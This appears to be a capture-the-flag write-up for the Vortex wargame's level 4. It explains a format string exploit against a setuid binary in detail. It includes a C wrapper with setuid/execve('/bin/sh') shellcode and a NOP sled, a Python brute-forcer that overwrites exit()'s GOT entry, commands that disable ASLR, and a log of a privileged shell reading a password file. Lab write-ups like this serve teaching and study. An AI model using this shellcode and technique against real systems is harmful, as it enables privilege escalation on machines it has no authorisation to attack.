Context
This level looks like a simple 3 lines program, containing a common issue - format string vulnerability:
int main(int argc, char **argv)
{
if(argc) exit(0);
printf(argv[3]);
exit(EXIT_FAILURE);
}
1. Bypass the check for arguments count
The program exits if the argc
variable is different than 0. argc
represents the length of argv
array, which has on the first position the program name (the name appearing on top and like utilities, for example). So argc
is always >=1.
But If we know how arguments and environment variables are passed to the main function when executing the binary, we can bypass the verification and also pass something meaningful to printf
in argv[3]
argument. The stack looks like this:
| argc | argv[0] | argv[1] ... |argv[argc-1]| NULL |env[0]|...|env[n]|NULL|
Where the first NULL
indicates the end of the argv
array, and the second one the end of the environment variables array. So if we pass NULL
as the argv
array, when the program tries to access argv[3]
, it will in fact access env[2]
, because the stack would look like this (argv[0]
points to the NULL
byte):
| 0 | NULL | env[0] | env[1] | env[2] | ...
In Python I couldn’t call one of the exec
functions with argv
set to NULL
, so I’ve used another method:
char exe[] = "/vortex/vortex4";
char* argv[] = { NULL };
char* env[] = {"env0", "env1", "TEST", NULL};
execve(exe, argv, env);
2. Pass the format string attack into an environment variable
We have to find out the approximate location of the environment variables in the memory. The Vortex labs machine has ASLR disabled. We can test with and without ASLR to see the variation of the environment variables’ address, using the following simple program:
/*
* Test program to find the location of envirnment variables on stack.
* - test with/without ASLR
*
* To disable ASLR:
* echo 0 > /proc/sys/kernel/randomize_va_space
*
* To enable ASLR:
* echo 2 > /proc/sys/kernel/randomize_va_space
*
*/
#include <stdio .h>
extern char **environ;
/* Return the current stack pointer */
unsigned long find_esp(void){
// Copy stack pointer into EAX
__asm__("mov %esp, %eax");
// Return value of the function is in EAX
}
int main() {
char **env = NULL;
for (env = environ; *env; ++env)
printf("%p:\t%s\n", env, *env);
unsigned long p = find_esp();
printf ("Current stack pointer: Ox%lx\n" , p) ;
return 0;
}
3. Redirect program flow
We decide an address to overwrite to change the flow of the program. We can use the same trick as in the previous level: replace the address of exit()
function in .plt
, which is called at the end of the program. We find it by searching relocations sections in the binary:
vortex4@melissa:/vortex$ readelf -r ./vortex4
[..]
Relocation section '.rel.plt' at offset 0x294 contains 4 entries:
Offset Info Type Sym.Value Sym. Name
0804a000 00000107 R_386_JUMP_SLOT 00000000 __gmon_start__
0804a004 00000207 R_386_JUMP_SLOT 00000000 __libc_start_main
0804a008 00000307 R_386_JUMP_SLOT 00000000 printf
0804a00c 00000407 R_386_JUMP_SLOT 00000000 exit
4. Shellcode
We’ll place a shellcode (I’ve used the same 32 bytes I’ve used in the previous level, setuid + execve
) in the environment variable, with a big NOP sled before (I’ve used 500 bytes). In the format string before, try to overwrite the address we found above, 0x0804a00c
(which I’ve actually replaced in 4 bytes: 0x0804a00c
, 0x0804a00d
, 0x0804a00e
, 0x0804a00f
).
This was the hardest part. I’ve made a Python wrapper over the C wrapper containing the execve
instruction, that passes and brute-forces different format strings.
A good exercise to test the vulnerability is to first try to read memory (using %x
or %s
instead of %n
for writing), to find the actual position of the format string on the stack. I actually found that I needed 106 bytes to get to the format string on the stack. A trick that can be used here: direct parameter access in printf (using $), detailed in the Single Unix Specification . For me, I could access the format string with the following parameter:
fmt = "AAAABBBBCCCCDDDD..." + "%106$x%107$x%108$x%109$x"
I’ve adjusted it with fillers (‘.’), and tuned the offset until I reached the correct one, 106. The Python brute-forcing script:
import subprocess
'''
Script to pass the format string and address to be overwritten to
the vortex 4 wrapper binary
'''
# 4 bytes to be modified (address of exit() in .plt - 0x0804a00c)
addr = "\x0c\xa0\x04\x08" + \
"\x0d\xa0\x04\x08" + \
"\x0e\xa0\x04\x08" + \
"\x0f\xa0\x04\x08"
# Read it, after many trial and errors
#fmt = "AAAABBBBCCCCDDDD..." + "%106$x%107$x%108$x%109$x"
for i in range(1, 255):
for j in range(1, 255):
fmt = addr + "...." + \
"%106$n%5$0" + str(i) + "d" + \
"%107$n%5$0" + str(j) + "d" + \
"%108$n" + \
"%109$n"
print "%d %d fmt: %s: " % (i, j, fmt)
p = subprocess.Popen(['/tmp/myl4', fmt])
p.wait()
# Ctrl-D to continue
And the C wrapper with execve
over vortex4 binary:
/*
* Wrapper over vortex 4 binary:
* - byapss first argc check
* - pass shellcode in environment variable
* - receive format string from python wrapper (.. easier)
*/
#include <stdio .h>
#include <string .h>
/* 32 bytes setuid(0) + execve("/bin/sh",["/bin/sh",NULL]); */
char shellcode[] = "\x6a\x17\x58\x31\xdb\xcd\x80\x31\xd2\x6a\x0b\x58\x52"
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80";
char padding[500];
char NOP = '\x90';
int nops = 500;
int main(int argc, char **args) {
char exe[] = "/vortex/vortex4";
char sh[600] = {0};
// Fill with lots of NOPs to make sure we reach the shellcode
memset(padding, NOP, nops);
memcpy(sh, padding, nops);
memcpy(sh+nops, shellcode, strlen(shellcode));
// argc wil be 0, because argv[0] is not set
char* argv[] = { NULL };
char* env[] = {"env0", "env1", args[1], sh, NULL};
execve(exe, argv, env);
return 0;actually
}
5. Put all the pieces together
vortex4@melissa:/tmp$ vim myl4.c
vortex4@melissa:/tmp$ vim myl4.py
vortex4@melissa:/tmp$ gcc -o myl4 myl4.c
vortex4@melissa:/tmp$ python myl4.py
[..]
202 33 fmt:
���....%106$n%5$0202d%107$n%5$033d%108$n%109$n:
$ id
uid=5004(vortex4) gid=5004(vortex4) euid=5005(vortex5) groups=5005(vortex5),5004(vortex4)
$ cat /etc/vortex_pass/vortex5
*****